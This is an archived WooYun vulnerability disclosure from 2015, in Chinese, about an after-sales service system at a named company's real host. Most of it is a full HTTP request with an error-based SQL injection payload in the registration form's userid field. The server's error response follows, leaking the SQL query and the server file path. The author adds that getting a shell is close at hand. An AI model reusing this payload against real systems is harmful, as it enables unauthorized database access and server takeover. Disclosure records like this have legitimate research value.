乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-20: 细节已通知厂商并且等待厂商处理中 2015-05-25: 厂商已经主动忽略漏洞,细节向公众公开
神州数码售后服务管理系统
在注册页面
POST /index.php/point/checkemail HTTP/1.1Host: dckf.digitalchina.comProxy-Connection: keep-aliveContent-Length: 35Accept: application/json, text/javascript, */*; q=0.01Origin: http://dckf.digitalchina.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://dckf.digitalchina.com/index.php/point/registerAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: ci_session=马赛克
action=save&address=123456&company=123456&[email protected]&fax=010-12345678&newpassword=123456789&password=123456789&realname=admintest&sign=1&tel=1&userid='and(select%201%20from(select%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(118)%2cCHAR(85)%2cCHAR(114)%2cCHAR(99)%2cCHAR(80)%2cCHAR(107)%2cCHAR(97)%2cCHAR(116))%20from%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&username=admintest
A Database Error OccurredError Number: 1062Duplicate entry '4CuvUrcPkat1' for key 'group_key'select userid from p_user where (username = 'admintest' or email = '[email protected]') and userid != ''and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(118),CHAR(85),CHAR(114),CHAR(99),CHAR(80),CHAR(107),CHAR(97),CHAR(116)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and''Filename: C:\dcoa\htdocs\system\database\DB_driver.phpLine Number: 330
其实接下来就好办了。注入点有了,路径有了!getshell 还远嘛?
过滤注入
危害等级:无影响厂商忽略
忽略时间:2015-05-25 17:16
漏洞Rank:4 (WooYun评价)
暂无